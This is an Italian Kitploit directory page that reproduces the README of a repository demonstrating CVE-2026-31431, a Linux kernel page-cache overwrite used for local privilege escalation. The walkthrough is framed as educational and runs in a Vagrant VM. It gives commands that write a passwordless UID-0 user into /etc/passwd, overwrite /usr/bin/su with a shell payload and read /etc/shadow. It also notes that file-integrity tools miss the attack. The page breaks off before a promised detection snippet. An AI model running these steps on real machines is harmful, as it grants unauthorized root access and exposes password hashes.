Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Una demo e spiegazione di CVE-2026-31431 | Kitploit
Strumenti/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Una demo e spiegazione di CVE-2026-31431

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
1198 giorni faNon ancora revisionato

CVE-2026-31431 CopyFail Linux Local Privilege Escalation

Una dimostrazione e spiegazione di CVE-2026-31431, la vulnerabilità di Linux Kernel Copy Fail Local Privilege Escalation. La vulnerabilità consente di sovrascrivere i dati nella page cache di file aperti con permessi di lettura.

Questo repository è solo a scopo educativo e illustra la vulnerabilità in un ambiente controllato. I file inclusi sono:

├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introduzione

La vulnerabilità, denominata Copy Fail, è presente nei kernel Linux dal 2017 al 2026 a causa di un difetto logico in algif_aead. Le è stato assegnato CVE-2026-31431 con un punteggio CVSS di 7.8, che comporta una valutazione di gravità alta. L'exploit è deterministico e può aggirare i tradizionali strumenti di monitoraggio dell'integrità dei file.

Sono state pubblicate proof of concept in vari linguaggi, tra cui C, Python e Go, ma per questa dimostrazione viene utilizzato Python e richiede la versione 3.10 o superiore. Questo exploit richiede l'esecuzione locale di codice come utente non privilegiato e può essere utilizzato per l'escalation locale dei privilegi.

Le sezioni seguenti sono:

  • Exploitation: Dimostrazioni dell'exploit e di come può essere utilizzato per ottenere privilegi di root.
  • Note on Exploitation Detection: Una spiegazione del motivo per cui questo exploit è difficile da rilevare con i tradizionali strumenti di monitoraggio dell'integrità dei file.
  • Vulnerability: Un link al commit che ha introdotto la vulnerabilità e una spiegazione del problema.
  • Patch: Un link al commit che ha corretto la vulnerabilità e una spiegazione della correzione.
  • Further Resources: Un elenco di risorse per ulteriori approfondimenti e implementazioni dell'exploit in vari linguaggi

Exploitation

Setup

Assicurati di avere Vagrant e QEMU installati. Poi, clona questo repository e naviga nella directory del progetto.

vagrant up
vagrant ssh

All'interno della VM, possiamo testare i limiti delle nostre capacità.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Siamo ovviamente limitati nelle nostre capacità, ma possiamo usare la vulnerabilità per escalare i privilegi.

Exploitation Demo 1: Understanding the Exploit

Per comprendere la vulnerabilità, sovrascriviamo un file fittizio e vediamo cosa succede.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Abbiamo un file con tre righe. La prima riga è di 6 byte (newline incluso), la seconda riga è di 2 byte, e la terza riga è di un singolo byte. Questo è importante perché l'exploit sovrascrive i dati in blocchi di 4 byte, e noi riempiamo il payload per completarlo.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Possiamo vedere che abbiamo sostituito i primi 8 byte del file con il nostro payload. Ci sono due caratteri presenti ma non stampabili. Apri il file in nano per verificare. Ma questo non è molto eccitante, quindi passiamo a scrivere in file per i quali non abbiamo permessi di scrittura.

Exploitation Demo 2: Removing the Root Password

Possiamo sovrascrivere il contenuto di /etc/passwd per aggiungere un utente con privilegi di root ma senza password.

cat /etc/passwd

La prima riga contiene l'utente root e contiene 8 gruppi di 4 caratteri (incluso il newline). È formattata come segue root:x:0:0:root:/root:/bin/bash, e i valori si riferiscono a username, password, UID, GID, home directory, shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Abbiamo aggiunto un nuovo utente hackd con UID 0 e GID 0, il che significa che ha privilegi di root. Il campo password è vuoto, quindi possiamo accedere senza password.

su hackd
id
cat /etc/shadow

Exploitation Demo 3: Overwriting an Executable

Nell'exploit originale, il binario /usr/bin/su viene sovrascritto con istruzioni per eseguire una shell, consentendo all'attaccante di ottenere privilegi di root quando esegue su. Possiamo ricreare questo exploit prendendo di mira /usr/bin/su con il payload originale da un file. Nota che questo distrugge il binario su in questa page cache.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Con il payload in posizione, possiamo eseguire su e ottenere privilegi di root. Questo apre una shell con user id 0, che tipicamente è l'utente root, ma se la demo precedente è stata eseguita, sarebbe l'utente hackd che abbiamo creato. Questo exploit aprirebbe una shell anche se l'utente root ha una password.

su
id

Note on Exploitation Detection

Questo exploit non modifica il file su disco, ma piuttosto lo stato della page-cache. Di conseguenza, i tradizionali strumenti di monitoraggio dell'integrità dei file che controllano le modifiche ai file su disco non rilevano questo exploit.

Per dimostrarlo, esegui l'exploit (o gli exploit) sopra e poi, dopo un riavvio della VM, controlla il contenuto del file di destinazione.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Le regole di rilevamento sono condivise in repository GitHub della community che tentano di rilevare indicatori di rete o pattern di script noti. Queste regole di rilevamento si basano su artefatti PoC pubblici, payload noti, frammenti di codice e URL.

  • Yara rules
  • Sigma rules

Ad esempio, quanto segue rileverebbe specifici frammenti di codice relativi a PoC o payload codificati:

Scarica lo strumento